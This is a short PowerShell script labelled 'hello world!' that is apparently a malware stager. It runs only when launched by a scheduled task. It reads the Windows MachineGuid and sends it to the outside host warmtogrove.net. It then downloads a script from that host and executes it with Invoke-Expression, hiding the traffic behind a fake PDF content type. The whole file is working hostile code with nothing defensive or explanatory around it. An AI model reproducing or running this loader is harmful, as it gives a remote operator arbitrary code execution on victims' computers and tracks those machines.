# hello world!
$ProgressPreference = "SilentlyContinue"
[System.Net.ServicePointManager]::SecurityProtocol = "TLS12"

$API = "https://warmtogrove.net"

$TaskService = New-Object -ComObject "Schedule.Service"
$TaskService.Connect()

$RunningTasks = $TaskService.GetRunningTasks(0)
$Task = $RunningTasks | Where-Object { $_.EnginePID -eq $PID }

if (-not $Task) { exit }

function Get-RegistryValue($key, $value) { Get-ItemProperty $key $value | Select-Object -ExpandProperty $value }
$GUID = Get-RegistryValue "HKLM:\SOFTWARE\Microsoft\Cryptography" "MachineGuid"

function Invoke-Request {
	param($Path, $Type, $Encoding = [System.Text.Encoding]::UTF8)

	$WebSession = New-Object Microsoft.PowerShell.Commands.WebRequestSession
	$WebSession.Proxy = New-Object System.Net.WebProxy
	$WebSession.Headers.Add("X-Machine-Id", $GUID)

	$Response = Invoke-WebRequest -Uri $API$Path -WebSession $WebSession -UseBasicParsing @Args
	if ($Response.Headers["Content-Type"] -ne "application/pdf") { throw }

	$Content = $Response.Content
	$Mime = $Content.GetType().Name

	if ($Type -eq $Mime) { return $Content }
	if ($Type -eq "Byte[]") { return $Encoding.GetBytes($Content) }
	if ($Mime -eq "Byte[]") { $Content = $Encoding.GetString($Content) }
	if ($Type -eq "Json") { return ConvertFrom-Json $Content }

	return $Content
}

$TaskName = $Task.Path
$Directory = $Task.Name

$Content = Invoke-Request /script -Type String
if ($Content -ne $null) { Invoke-Expression $Content }

Start-Sleep -Seconds 10